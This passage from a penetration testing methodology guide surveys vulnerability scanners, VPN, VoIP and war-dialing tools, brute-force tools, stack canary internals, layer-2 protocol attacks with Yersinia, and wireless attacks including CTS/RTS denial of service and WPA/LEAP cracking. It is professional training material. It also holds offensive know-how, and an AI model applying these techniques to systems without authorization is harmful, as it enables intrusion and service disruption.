
Once credentials have been entered, NetSparker presents those to the web application in a mini-browser view as seen below.

<netsparker3.png ScreenShot Here>

The below confirms that NetSparker is able to use the supplied credentials to login to the application.

<netsparker4.png ScreenShot Here>

In an effort to make sure that NetSparker knows when it has logged itself out of the web application, the user is able to specify the logged in and logged out conditions.

<netsparker5.png ScreenShot Here>

The final step of the process confirms the settings are configured correctly.

<netsparker6.png ScreenShot Here>

NetSparker offers five different methods to start the scan as seen below. These include Start Scan, Crawl and Wait, Manual Crawl (Proxy Mode), Scan Imported Links Only and Schedule Scan.

<netsparker7.png ScreenShot Here>

The scan starts with a crawl of the website and classifies the potential security issues as seen below.

<netsparker8.png ScreenShot Here>

The next phase is attacking the website. This begins to show identified vulnerabilities as shown in this screenshot.

<netsparker9.png ScreenShot Here>

Each finding can be shown in a Browser View as shown in this screenshot.

<netsparker10.png ScreenShot Here>

The vulnerability can also be displayed in an HTTP Request / Response format as seen in this screenshot.

<netsparker11.png ScreenShot Here>

To check the status of the scan, click on View and select Dashboard.

<netsparker12.png ScreenShot Here>

Also included is the Vulnerability Chart

<netsparker13.png ScreenShot Here> Reporting options include PDF, HTML, CSV and XML formats.

Specialized Vulnerability Scanners

Virtual Private Networking (VPN)

Virtual Private Networking (VPN) involves "tunneling" private data through the Internet. The four most widely known VPN "standards" are Layer 2 Forwarding (L2F), IP Security (IPSec), Point-to-Point Tunneling Protocol (PPTP), and Layer 2 Tunneling Protocol (L2TP). VPN servers generally will not be detected by a port scans as they don't listen on TCP ports, so a TCP port scan won't find them. In addition, they won't normally send ICMP unreachable messages, so a UDP port scans more than likely won't find them. This is why we need specialized scanners to find and identify them.

ike-scan

ike-scan is a command-line IPsec VPN scanning, fingerprinting and testing tool that uses the IKE protocol to discover, fingerprint and test IPsec VPN servers. Ike-scan sends properly formatted IKE packet to each of the address you wish to scan and displays the IKE responses that are received. While ike-scan has a dozens of options, we will only cover the basics here.

Screenshot Here

Using ike-scan to actually perform VPN discovery is relatively straight forward. Simply give it a range and it will attempt to identify

Screenshot Here

IPv6

The THC-IPV6 Attack Toolkit is a complete set of tools to scan for inherent protocol weaknesses of IPv6 deployments. Implementation6 which performs various implementation checks on IPv6.

Screenshot Here

Exploit6 is another tool from the THC-IPV6 Attack Toolkit which can test for known ipv6 vulnerabilities.

Screenshot Here

Screenshot Here

War Dialing

War dialing is process of using a modem to automatically scan a list of telephone numbers, usually dialing every number in a local area code to search for computers, Bulletin board systems and fax machines.

WarVOX

WarVOX is a suite of tools for exploring, classifying, and auditing telephone systems. Unlike normal wardialing tools, WarVOX works with the actual audio from each call and does not use a modem directly. This model allows WarVOX to find and classify a wide range of interesting lines, including modems, faxes, voice mail boxes, PBXs, loops, dial tones, IVRs, and forwarders. WarVOX provides the unique ability to classify all telephone lines in a given range, not just those connected to modems, allowing for a comprehensive audit of a telephone system. VoIP

VoIP networks rely on the network infrastructure that just simply targeting phones and servers is like leaving half the scope untouched. The intelligence gathering phase should have resulted in identify all network devices, including routers and VPN gateways, web servers, TFTP servers, DNS servers, DHCP servers, RADIUS servers, and firewalls. Note: The default username is admin with a password of warvox.

Screenshot Here

iWar

iWar is a War dialer written for Linux, FreeBSD, OpenBSD, etc.

Screenshot Here

Plain Analog Wardialer (PAW) / Python Advanced Wardialing System (PAWS)

PAW / PAWS is a wardialing software in python. It is designed to scan for ISDN (PAWS only) and newer analog modems.

Screenshot Here

SIPSCAN

SIPSCAN uses REGISTER, OPTIONS and INVITE request methods to scan for live SIP extensions and users. SIPSCAN comes with a list of usernames (users.txt) to brute force. This should be modified to include data collected during earlier phases to target the specific environment.

Screenshot Here

SIPSAK

SIPSAK is tool that can test for SIP enabled applications and devices using the OPTION request method only.

Screenshot Here

SVMAP

SVMAP is a part of the SIPVicious suite and it can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the method being used such as OPTIONS, INVITE, and REGISTER.

Screenshot Here

Passive Testing

Passive Testing is exactly what it sounds like. Testing for vulnerabilities but doing so in a passive manner. This is often best left to automated tools, but it can be accomplished by manually methods as well.

Automated Tools

Traffic Monitoring

Traffic Monitoring is a passive mechanism for gathering further information about the targets. This can be helpful in determining the specifics of an operating system or network device. There are times when active fingerprinting may indicate, for example, an older operating system. This may or may not be the case. Passive fingerprinting is essentially a "free" way to ensure that the data you are reporting is as accurate as possible.

P0f

P0f is an awesome passive fingerprinting tool. P0f can identify the operating system on based upon machines you connect to and that you connect to as well as machines that you cannot connect to. Also, it can fingerprint machines based upon the communications that your interfaces can observe.

Screenshot Here

Wireshark

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

Wireshark is cross-platform, using the GTK+ widget toolkit to implement its user interface, and using pcap to capture packets; it runs on various Unix-like operating systems including Linux, Mac OS X, BSD, and Solaris, and on Microsoft Windows.

Screenshot Here

Tcpdump

Tcpdump is a common packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Tcpdump works on most Unix-like operating systems: Linux, Solaris, BSD, Mac OS X, HP-UX and AIX among others. In those systems, tcpdump uses the libpcap library to capture packets.

There is also a port of tcpdump for Windows called WinDump; this uses WinPcap, which is a port of libpcap to Windows.

Screenshot Here

Metasploit Scanners

Metasploit Unleashed

The Metasploit Unleashed (http://www.offensive-security.com/metasploit-unleashed/Vulnerability_Scanning) course has several tutorials on performing vulnerability scanning leveraging the Metasploit Framework.

Vulnerability Validation

Public Research

A product of the vast amount of security research is the discovery of vulnerabilities and associated Proof of Concept (PoC) and/or exploit code. The results from the vulnerability identification phase must be individually validated and where exploits are available, these must be validated. The only exception would be an exploit that results in a Denial of Service (DoS). This would need to be included in the scope to be considered for validation. There are numerous sites that offer such code for download that should be used as part of the Vulnerability Analysis phase.

- Exploit-db - http://www.exploit-db.com
- Security Focus - http://www.securityfocus.com
- Packetstorm - http://www.packetstorm.com
- Security Reason - http://www.securityreason.com
- Black Asylum - http://www.blackasylum.com/?p=160

Common/default passwords

Attempt to identify if a device, application, or operating system is vulnerable to a default credential attack is really as simple as trying to enter in known default passwords. Default passwords can be obtained from the following websites:

- http://www.phenoelit-us.org/dpl/dpl.html
- http://cirt.net/passwords
- http://www.defaultpassword.com
- http://www.passwordsdatabase.com
- http://www.isdpodcast.com/resources/62k-common-passwords/

Establish target list

Identifying all potential targets is critical to penetration testing. Properly established target lists ensure that attacks are properly targeted. If the particular versions of software running in the environment can be identified, the tester is dealing with a known quantity, and can even replicate the environment. A properly defined target list should include a mapping of OS version, patch level information. If known it should include web application weaknesses, lockout thresholds and weak ports for attack.

Mapping Versions

Version checking is a quick way to identify application information. To some extent, versions of services can be fingerprinted using nmap, and versions of web applications can often be gathered by looking at the source of an arbitrary page.

Identifying Patch Levels

To identify the patch level of services internally, consider using software which will interrogate the system for differences between versions. Credentials may be used for this phase of the penetration test, provided the client has acquiesced. Vulnerability scanners are particularly effective at identifying patch levels remotely, without credentials.

Looking for Weak Web Applications

Identifying weak web applications can be a particularly fruitful activity during a penetration test. Things to look for include OTS applications that have been misconfigured, OTS application which have plugin functionality (plugins often contain more vulnerable code than the base application), and custom applications. Web application fingerprinters such as WAFP can be used here to great effect.

Identify Weak Ports and Services

Identifying weak ports can be done using banner grabbing, nmap and common sense. Many ports and services will lie, or mislead about the specifics of their version.

Identify Lockout threshold

Identifying the lockout threshold of an authentication service will allow you to ensure that your bruteforce attacks do not intentionally lock out valid users during your testing. Identify all disparate authentication services in the environment, and test a single, innocuous account for lockout. Often 5 - 10 tries of a valid account is enough to determine if the service will lock users out.

Attack Avenues

Attack avenues focus on identifying all potential attack vectors that could be leveraged against a target. This is much more detailed than simply looking at the open or filtered ports, but evaluates the Footprinting information and automated results in an effort to create an attack tree.

Creation of Attack Trees

Attack trees are conceptual diagrams of threats on target systems and should include all possible attack methods to reach those threats.

Identify protection mechanisms

There is no magic bullet for detecting and subverting Network or Host based protection mechanisms. It takes skill and experience. This is beyond the scope of this document, which only lists the relevant protection mechanisms and describes what they do.

Network protections

"Simple" Packet Filters

Packet filters are rules for classifying packets based on their header fields. Packet classification is essential to routers supporting services such as quality of service (QoS), virtual private networks (VPNs), and firewalls.

Traffic shaping devices

Traffic shaping is the control of computer network traffic in order to optimize or guarantee performance, improve latency, and/or increase usable bandwidth for some kinds of packets by delaying other kinds of packets that meet certain criteria. During penetration test traffic shaping can also control the volume of traffic being sent into a network in a specified period, or the maximum rate at which the traffic is sent. For these reasons; traffic shaping is important to detect at the network edges to avoid packet dropping and packet marking.

Data Loss Prevention (DLP) systems

Data Loss Prevention (DLP) refers to systems that identify, monitor, and protect data in use, data in motion, and data at rest via content inspection and contextual analysis of activities (attributes of originator, data object, medium, timing, recipient/destination and so on). DLP systems are analogous to intrusion-prevention system for data.

Host based protections

Host-based protections usually revolve around an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host. The majority of Host-based protections utilize one of three detection methods: signature-based, statistical anomaly-based and stateful protocol analysis.

Stack/heap protections

Numerous tools are available that can monitor the host to provide protections against buffer overflows. Microsoft's Data Execution Prevention mode is an example that is designed to explicitly protect the pointer to the SEH Exception

Handler from being overwritten.

Whitelisting

Whitelisting provides a list of entities that are being provided a particular privilege, service, mobility, access, or recognition. An emerging approach in combating attacks by viruses and malware is to whitelist software which is considered safe to run, blocking all others

AV/Filtering/Behavioral Analysis

Behavioral analysis works from a set of rules that define a program as either legitimate, or malicious. Behavioral analysis technology monitors what an application or piece of code does and attempts to restrict its action. Examples of this might include applications trying to write to certain parts of a system registry, or writing to pre-defined folders. These and other actions would be blocked, with the actions notified to the user or administrator.

Application level protections

Exploitation

Precision strike

Additional information on exploitation can be found at the Metasploit Unleashed (http://www.offensive-security.com/metasploit-unleashed/Exploit_Development) course.

Countermeasure Bypass

<Contribution Needed>

AV

<Contribution Needed>

- Encoding
- Packing
- Whitelist Bypass
- Process Injection
- Purely Memory Resident

Human

<Contribution Needed>

HIPS

<Contribution Needed>

DEP

<Contribution Needed>

ASLR

<Contribution Needed>

VA + NX (Linux)

<Contribution Needed>

w^x (OpenBSD)

<Contribution Needed>

WAF

A WAF (Web application firewall) is a firewall which can be installed in front of (network topology speaking) a web application. The WAF will analyze each request and look for common web attacks such as Cross Site Scripting and SQLinjection. Like most AV scanners, a blacklisting mechanism is often used to find these potentially malicious HTTP requests (often regex). Since these WAFs are using this blacklisting technique, multiple papers exist on bypassing these types of devices.

Stack Canaries

In order to understand the use of the Stack Canaries, one needs to understand the fundamental flaw of buffer overflows. A buffer overflow happens when an application fails to properly verify the length of the input received with the length of the buffer in memory to which this data is copied. Due to the way the stack is build, and the way the data is entered on the stack, the input received could be used to overwrite the EIP (extended instruction pointer, this is used by the application to know where the application came from prior to copying the input to the buffer). When an attacker controls the EIP, the execution of the application can be altered in such a way that the attacker has full control of the application. A potential fix is by adding a "cookie" or stack canary right after the buffer on the stack. When the application wants to return, the value of the stack canary is verified. If this value has been altered, the program will ignore the EIP and crash therefore making the buffer overflow ineffective.

Every operating system calculates a different cookie.

Microsoft Windows

The cookie in Windows is added by Visual Studio. One of the options when compiling an application is /GS. The option is enabled by default. The cookie is calculated using a few process specific variables. Below is a representative code of how this cookie is calculated.

```
void generate_security_cookie() {
        int defaultval1 = 0xFFFF0000;
        int defaultval2 = 0xBB40E64E; // Hex value of PI without comma...

        int result = 0;
        int resultcomp = 0;

        FILETIME filetimestruct ;
        GetSystemTimeAsFileTime(&filetimestruct);
        LARGE_INTEGER perfcounter;
        QueryPerformanceCounter(&perfcounter);

        int tickc = GetTickCount();
        int threadid = GetCurrentThreadId();
        int processid = GetCurrentProcessId();

        result = result ^ filetimestruct.dwHighDateTime;
        result = result ^ filetimestruct.dwLowDateTime;
        result = result ^ threadid;
        result = result ^ processid;
```

```
        result = result ^ tickc;
        result = result ^ perfcounter.HighPart;
        result = result ^ perfcounter.LowPart;

        if (result == defaultval2) {
                printf("Wow, what are they odd of getting the same value as the beginning");
                result = 0xBB40E64E;
        } else {
                if (!(result & defaultval1)) {

                        int temp = (result | 0x4711) << 16;
                        result |= temp;
                }
        }
        resultcomp = ~result;
```

As you can see, some of these values are not hard to figure out. Except for maybe the LowDateTime and the performance counter. An excellent paper has been written concerning this lack of entropy. More information can be found in that paper here (Exploiting the otherwise non-exploitable (http://j00ru.vexillium.org/?p=690))

Linux

As in Windows, the somewhat default compiler, gcc, adds the code for the stack canarie. This code can be found in the file libssp/ssp.c

```
static void __attribute__ ((constructor))
__guard_setup (void)
{
  unsigned char *p;
  int fd;

  if (__stack_chk_guard != 0)
    return;

  fd = open ("/dev/urandom", O_RDONLY);
  if (fd != -1)
    {
      ssize_t size = read (fd, &__stack_chk_guard,
                           sizeof (__stack_chk_guard));
      close (fd);
      if (size == sizeof(__stack_chk_guard) && __stack_chk_guard != 0)
        return;
    }

  /* If a random generator can't be used, the protector switches the guard
     to the "terminator canary".  */
  p = (unsigned char *) &__stack_chk_guard;
  p[sizeof(__stack_chk_guard)-1] = 255;
  p[sizeof(__stack_chk_guard)-2] = '\n';
  p[0] = 0;
}
```

It is known that some older versions of gcc do not use the urandom device in order to create a new cookie. They use a preset cookie value (a mix of unprintable characters such as 00 0A 0D and FF). Gcc will compile an application with stack canaries by default.

Problems with the implementation on Linux: On a linux machine, there are a few different ways of creating a thread. One of them is called fork(). When using fork to create a new thread, the application will "quickly" create a new thread which will reuse the calculated cookie for each new "fork"-ed thread. If a buffer overflow would exist in this forked thread, an attacker could bruteforce the stack canarie. Once again a great article describing this attack can be found here (Scraps of notes on remote stack overflow exploitation (http://www.phrack.org/issues.html?issue=67&id=13))

MAC OS

Disabled by default. Contribution required.

Customized Exploitation

Fuzzing

Fuzzing is the process of attempting to discover security vulnerabilities by sending random input to an application. If the program contains a vulnerability that can leads to an exception, crash or server error (in the case of web apps), it can be determined that a vulnerability has been discovered. Fuzzers are generally good at finding buffer overflow, DoS, SQL Injection, XSS, and Format String bugs. Fuzzing falls into two categories: Dumb Fuzzing and Intelligent Fuzzing.

Dumb Fuzzing

Dumb Fuzzing usually consists of simple modifications to legitimate data, that is then fed to the target application. In this case, the fuzzer is very easy to write and the idea is to identify low hanging fruit. Although not an elegant approach, dumb fuzzing can produce results, especially when a target application has not been previously tested. FileFuzz is an example of a Dumb Fuzzer. FileFuzz is a Windows based file format fuzzing tool that was designed to automate the launching of applications and detection of exceptions caused by fuzzed file formats.

Screenshot Here

Intelligent Fuzzing

Intelligent Fuzzers are ones that are generally aware of the protocol or format of the data being tested. Some protocols require that the fuzzer maintain state information, such as HTTP or SIP. Other protocols will make use of authentication before a vulnerability is identified. Apart from providing much more code coverage, intelligent fuzzers tend to cut down the fuzzing time significantly since they avoid sending data that the target application will not understand. Intelligent fuzzers are therefore much more targeted and sometimes they need to be developed by the security researcher.

Sniffing

A packet analyzer is used to intercept and log traffic passing over the network. It is considered best practice to utilize a sniffer when performing exploitation. This ensures that all relevant traffic is captured for further analysis. This is also extremely useful for extracting cleartext passwords.

Wireshark

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

Wireshark is cross-platform, using the GTK+ widget toolkit to implement its user interface, and using pcap to capture packets; it runs on various Unix-like operating systems including Linux, Mac OS X, BSD, and Solaris, and on Microsoft Windows.

Screenshot Here

Tcpdump

Tcpdump is a common packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Tcpdump works on most Unix-like operating systems: Linux, Solaris, BSD, Mac OS X, HP-UX and AIX among others. In those systems, tcpdump uses the libpcap library to capture packets.

There is also a port of tcpdump for Windows called WinDump; this uses WinPcap, which is a port of libpcap to

Windows.

Screenshot Here

Brute-Force

A brute force attack is a strategy that can in theory be used by an attacker who is unable to take advantage of any weakness in a system. It involves systematically checking all possible usernames and passwords until the correct one is found.

Brutus (Windows)

Brutus is a generic password guessing tool that comes with built-in routines for attacking

HTTP Basic and Forms-based authentication, among other protocols like SMTP and

POP3. Brutus can perform both *dictionary* and randomly generated attacks from a given character set.

Screenshot Here

Web Brute (Windows)

Web Brute is included with HP WebInspect and is the primary means of attacking a login form or authentication page, using prepared lists of user names and passwords.

Screenshot Here

THC-Hydra/XHydra

THC-Hydra (or just Hydra) is a network logon bruteforcer which supports attacking many different services such as FTP, HTTP, HTTPS, ICQ, IRC, IMAP, LDAP, MS-SQL, MySQL, NCP, NNTP, Oracle, POP3, pcAnywhere, PostgreSQL, REXEC, RDP, RLOGIN, RSH, SAP R/3, SIP, SMB, SMTP, SNMP, SOCKS, SSH, Subversion (SVN), TeamSpeak, Telnet, VNC, VMware Auth Daemon, and XMPP. It is available in both a command line and GUI version.

Screenshot Here

Screenshot Here

Medusa

Medus is another network logon bruteforcer which supports attacking many different services such as AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP, NNTP, Oracle, POP3, pcAnywhere, PostgreSQL, REXEC, RDP, RLOGIN, RSH, SMB, SMTP, SNMP, SOCKS, SSH, Subversion (SVN), Telnet, VNC, and VMware Auth Daemon. It is only available in a command line version.

Screenshot Here

Ncrack

Ncrack is another network logon bruteforcer which supports attacking many different services such as RDP, SSH, http(s), SMB, pop3(s), FTP, and telnet. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behavior based on network feedback.

Screenshot Here

Routing protocols

Routing protocols specify how routers communicate with each other, disseminating information that enables them to select routes between any two nodes on a computer network, the choice of the route being done by routing algorithms. Each router has a priori knowledge only of networks attached to it directly. A routing protocol shares this information first among immediate neighbors, and then throughout the network. This way, routers gain knowledge of the topology of the network.

Cisco Discovery Protocol (CDP)

The Cisco Discovery Protocol (CDP) is a proprietary Data Link Layer network protocol developed by Cisco Systems that is implemented in most Cisco networking equipment. It is used to share information about other directly connected Cisco equipment, such as the operating system version and IP address. CDP can also be used for On-Demand Routing, which is a method of including routing information in CDP announcements so that dynamic routing protocols do not need to be used in simple networks.

Cisco devices send CDP announcements to the multicast destination address 01:00:0C:CC:CC:CC, out each connected network interface. These multicast packets may be received by Cisco switches and other networking devices that support CDP into their connected network interface. This multicast destination is also used in other Cisco protocols such as VTP. By default, CDP announcements are sent every 60 seconds on interfaces that support Subnetwork Access Protocol (SNAP) headers, including Ethernet, Frame Relay, and Asynchronous Transfer Mode (ATM). Each Cisco device that supports CDP stores the information received from other devices in a table that can be viewed using the show cdp neighbors command. This table is also accessible via snmp. The CDP table information is refreshed each time an announcement is received, and the holdtime for that entry is reinitialized. The holdtime specifies the lifetime of an entry in the table - if no announcements are received from a device for a period in excess of the holdtime, the device information is discarded (default 180 seconds).

The information contained in CDP announcements varies by the type of device and the version of the operating system running on it. This information may include the operating system version, hostname, every address (i.e. IP address) from all protocol(s) configured on the port where CDP frame is sent, the port identifier from which the announcement was sent, device type and model, duplex setting, VTP domain, native VLAN, power draw (for Power over Ethernet devices), and other device specific information. The details contained in these announcements are easily extended due to the use of the type-length-value (TLV) frame format. The tool for attacking CDP is Yersinia.

Screenshot Here

Hot Standby Router Protocol (HSRP)

Hot Standby Router Protocol (HSRP) is a Cisco proprietary redundancy protocol for establishing a fault-tolerant default gateway, and has been described in detail in RFC 2281. The Virtual Router Redundancy Protocol (VRRP) is a standards-based alternative to HSRP defined in IETF standard RFC 3768. The two technologies are similar in concept, but not compatible.

The protocol establishes a framework between network routers in order to achieve default gateway failover if the primary gateway should become inaccessible, in close association with a rapid-converging routing protocol like EIGRP or OSPF. By multicasting packets, HSRP sends its hello messages to the multicast address 224.0.0.2 (all routers) using UDP port 1985, to other HSRP-enabled routers, defining priority between the routers. The primary router with the highest configured priority will act as a virtual router with a pre-defined gateway IP address and will respond to the ARP request from machines connected to the LAN with the MAC address 0000.0c07.acXX where XX is the group ID in hex. If the primary router should fail, the router with the next-highest priority would take over the gateway IP address and answer ARP requests with the same mac address, thus achieving transparent default gateway fail-over. A HSRP Basics Simulation visualizes Active/Standby election and link failover with Hello, Coup, ARP Reply packets, and timers.

HSRP and VRRP are not routing protocols as they do not advertise IP routes or affect the routing table in any way.

HSRP and VRRP on some routers have the ability to trigger a failover if one or more interfaces on the router go down. This can be useful for dual branch routers each with a single serial link back to the head end. If the serial link of the

primary router goes down, you would want the backup router to take over the primary functionality and thus retain connectivity to the head end. The tool for attacking HSRP is Yersinia.

Screenshot Here

Virtual Switch Redundancy Protocol (VSRP)

The Virtual Switch Redundancy Protocol (VSRP) is a proprietary network resilience protocol developed by Foundry Networks and currently being sold in products manufactured by both Foundry and Hewlett Packard. The protocol differs from many others in use as it combines Layer 2 and Layer 3 resilience - effectively doing the jobs of both Spanning tree protocol and the Virtual Router Redundancy Protocol at the same time. Whilst the restrictions on the physical topologies able to make use of VSRP mean that it is less flexible than STP and VRRP it does significantly improve on the failover times provided by either of those protocols.

Dynamic Trunking Protocol (DTP)

The Dynamic Trunking Protocol (DTP) is a proprietary networking protocol developed by Cisco Systems for the purpose of negotiating trunking on a link between two VLAN-aware switches, and for negotiating the type of trunking encapsulation to be used. It works on the Layer 2 of the OSI model. VLAN trunks formed using DTP may utilize either IEEE 802.1Q or Cisco ISL trunking protocols.

DTP should not be confused with VTP, as they serve different purposes. VTP communicates VLAN existence information between switches. DTP aids with trunk port establishment. Neither protocol transmits the data frames that trunks carry. The tool for attacking DTP is Yersinia.

Screenshot Here

Spanning Tree Protocol (STP)

The Spanning Tree Protocol (STP) is a network protocol that ensures a loop-free topology for any bridged Ethernet local area network. The basic function of STP is to prevent bridge loops and ensuing broadcast radiation. Spanning tree also allows a network design to include spare (redundant) links to provide automatic backup paths if an active link fails, without the danger of bridge loops, or the need for manual enabling/disabling of these backup links.

STP is a Data Link Layer protocol. It is standardized as IEEE 802.1D. As the name suggests, it creates a spanning tree within a mesh network of connected layer-2 bridges (typically Ethernet switches), and disables those links that are not part of the spanning tree, leaving a single active path between any two network nodes. The tool for attacking STP is Yersinia.

Screenshot Here

Open Shortest Path First (OSPF)

Open Shortest Path First (OSPF) is an adaptive routing protocol for Internet Protocol (IP) networks. It uses a link state routing algorithm and falls into the group of interior routing protocols, operating within a single autonomous system (AS). It is defined as OSPF Version 2 in RFC 2328 (1998) for IPv4. The updates for IPv6 are specified as OSPF Version 3 in RFC 5340 (2008).

RIP

RIP is a dynamic routing protocol used in local and wide area networks. As such it is classified as an interior gateway protocol (IGP). It uses the distance-vector routing algorithm. It was first defined in RFC 1058 (1988). The protocol has since been extended several times, resulting in RIP Version 2 (RFC 2453). Both versions are still in use today, although they are considered to have been made technically obsolete by more advanced techniques such as Open Shortest Path First (OSPF) and the OSI protocol IS-IS. RIP has also been adapted for use in IPv6 networks, a standard known as RIPng (RIP next generation) protocol, published in RFC 2080 (1997).

VLAN Hopping

VLAN hopping (virtual local area network hopping) is a computer security exploit, a method of attacking networked resources on a VLAN. The basic concept behind all VLAN hopping attacks is for an attacking host on a VLAN to gain access to traffic on other VLANs that would normally not be accessible. There are two primary methods of VLAN hopping: switch spoofing and double tagging.

In a switch spoofing attack, an attacking host that is capable of speaking the tagging and trunking protocols used in maintaining a VLAN imitates a trunking switch. Traffic for multiple VLANs is then accessible to the attacking host.

In a double tagging attack, an attacking host prepends two VLAN tags to packets that it transmits. The first header (which corresponds to the VLAN that the attacker is really a member of) is stripped off by a first switch the packet encounters, and the packet is then forwarded. The second, false, header is then visible to the second switch that the packet encounters. This false VLAN header indicates that the packet is destined for a host on a second, target VLAN. The packet is then sent to the target host as though it were layer 2 traffic. By this method, the attacking host can bypass layer 3 security measures that are used to logically isolate hosts from one another. The tool for attacking 802.1q is Yersinia.

Screenshot Here

VLAN Trunking Protocol (VTP)

VLAN Trunking Protocol (VTP) is a Cisco proprietary Layer 2 messaging protocol that manages the addition, deletion, and renaming of Virtual Local Area Networks (VLAN) on a network-wide basis. Cisco's VLAN Trunk Protocol reduces administration in a switched network. When a new VLAN is configured on one VTP server, the VLAN is distributed through all switches in the domain. This reduces the need to configure the same VLAN everywhere. To do this, VTP carries VLAN information to all the switches in a VTP domain. VTP advertisements can be sent over ISL, 802.1q, IEEE 802.10 and LANE trunks. VTP is available on most of the Cisco Catalyst Family products. The tool for attacking VTP is Yersinia.

Screenshot Here

RF Access

The goal of the earlier phases is to gather every possible piece of information about the Radio Frequencies in use that can be leveraged during this phase.

Unencrypted Wireless LAN

It is possible to actually connect to an unencrypted Wireless LAN (WLAN). To connect to an unencrypted WLAN, you simply have to either issue appropriate commands or use a GUI interface to connect.

Iwconfig (Linux)

The following commands to connect up to the ESSID. To ensure that the wireless interface is down, issue the following:

```
ifconfig <interface> down
```

Force dhclient to release any currently assigned DHCP addresses with the following command:

```
dhclient -r <interface>
```

Bring the interface back up with the following command:

```
ifconfig <interface> up
```

Iwconfig is similar to ifconfig, but is dedicated to the wireless interfaces. It is used to set the parameters of the network interface which are specific to the wireless operation. To assign set the ESSID (or Network Name to the wireless interface, use the following command:

```
iwconfig <interface> essid "ESSID_IN_QUOTES"
```

Next we need to set the operating mode of the device, which depends on the network topology. Setting this to *Managed* means that we are connecting to a network that is composed of access points.

```
iwconfig <interface> mode Managed
```

Use dhclient to obtain a DHCP addresses with the following command:

```
dhclient <interface>
```

At this point we should receive an IP address and be connected to the client's wireless network. Ensure that adequate screen shots are taken to definitively indicate the ability to connect, receive an IP address, and traverse the network.

Windows (XP/7)

Based upon the wireless network adapter installed, Windows will provide you with a mechanism to connect to wireless networks. The version of Windows utilized will dictate the process. For this reason we are covering Windows XP and 7.

Screenshot Here

Windows XP will show an icon with a notification that says it has found wireless networks.

Screenshot Here

Right-click the wireless network icon in the lower right corner of your screen, and then click "View Available Wireless Networks."

Screenshot Here

The Wireless Network Connection window appears and displays your wireless network listed with the SSID you chose. If you don't see your network, click Refresh network list in the upper left corner. Click your network, and then click Connect in the lower right corner.

Windows 7 offers the same ability to connect to wireless networks. On the right side of the taskbar, you will see a wireless network icon like the one below. Click on it.

Screenshot Here

A window with available network connections will open. As you can see from the screenshot below, the list is split by the type of available network connections. At the top you have dial-up (http://en.wikipedia.org/wiki/Dial-up) and virtual private network (VPN) (http://en.wikipedia.org/wiki/VPN) connections, while at the bottom you have a list of all the wireless networks which Windows 7 has detected. To refresh the list of available networks, click on the button highlighted in the screenshot below.

Screenshot Here

You can scroll down through the list of available networks. Once you decided on which network to connect to, click on it. Next, click on the *Connect* button.

Screenshot Here

If everything is OK, Windows 7 will connect to the network you selected using the given security key.

Attacking the Access Point

All identified access points are vulnerable to numerous attacks. For completeness, we've included some attack methods that may not be a part of all engagements. Ensure that the scoping is reviewed prior to initiating any attacks.

Denial of Service (DoS)

Within the standard, there are two packets that help in this regard, the *Clear To Send (CTS)* and *Request To Send (RTS)* packets. Devices use RTS packets when they have something big to send, and they don't want other devices to step on their transmission. CTS packets are sent so that the device knows it's okay to transmit. Every device (other than the one that sent the RTS) within the range of the CTS packet cannot transmit anything for the duration specified.

The first technique is to transmit the CTS packets, meaning that anyone in range of your signal will be unable to transmit. This requires a high-gain Omni-directional antenna to a much greater impact. The second technique is to send an RTS packet to the AP you are targeting. Once the AP gets the RTS packet, it will send the CTS. A highly directional antenna from a distance can be used to target the AP with an RTS packet. Generally speaking, transmitting the CTS has a greater impact.

Cracking Passwords

WPA-PSK/ WPA2-PSK

WPA-PSK is vulnerable to brute force attack. Tools like Aircrack and coWPAtty take advantage of this weakness and provided a way to test keys against dictionaries. The problem is that it's a very slow process. Precomputational attacks are limited as the BSSID and the BSSID length are seeded into the passphrase hash. This is why WPA-PSK attacks are generally limited due by time. There is no difference between cracking WPA or WPA2, the authentication is essentially the same.

The main requirement for any WPA/WPA2 is to capture the authentication handshake and then use Aircrack-ng to crack the pre-shared key. This can be done either actively or passively. "Actively" means you will accelerate the process by deauthenticating an existing wireless client. "Passively" means you simply wait for a wireless client to authenticate to the WPA/WPA2 network.

WPA/WPA2-Enterprise

In environments with a large number of users, such as corporations or universities, WPA/WPA2 pre-shared key management is not feasible. For example, it wouldn't be possible to track which users are connected and it would be impossible to revoke access to the network for individuals without changing the key for everyone. Therefore WPA2 Enterprise authenticates users against a user database (RADIUS). Two common methods to do that are WPA2-EAP-TTLS and WPA2-PEAP.

Attacks

LEAP

This stands for the Lightweight Extensible Authentication Protocol. This protocol is based on 802.1X and helps minimize the original security flaws by using WEP and a sophisticated key management system. This EAP-version is safer than EAP-MD5. This also uses MAC address authentication. LEAP is not safe against crackers. THC-LeapCracker can be used to break Cisco's version of LEAP and be used against computers connected to an access point in the form of a dictionary attack. Anwrap and asleap are other crackers capable of breaking LEAP.

Asleap

Asleap is a designed specifically to recover weak LEAP (Cisco's Lightweight Extensible Authentication Protocol) and PPTP passwords. Asleap performs Weak LEAP and PPTP password recovery from pcap and AiroPeek files or from live capture. Finally, it has the ability to deauthenticate clients on a leap WLAN (speeding up leap password recovery).

Screenshot Here

The first step involved in the use of asleap is to produce the necessary database (.dat) and index files (.idx) using genkeys from the supplied (-r) a dictionary (wordlist) file.

Screenshot Here

The final step in recovering the weak LEAP password is to run the asleap command with our newly created .dat and .idx files:

Screenshot Here

802.1X

802.1X is an IEEE Standard for port-based Network Access Control (PNAC). It is part of the IEEE 802.1 group of networking protocols. It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN.

IEEE 802.1X defines the encapsulation of the Extensible Authentication Protocol (EAP) over IEEE 802 which is known as "EAP over LAN" or EAPOL. There are two main attacks which can be used against 802.1X:

Key Distribution Attack

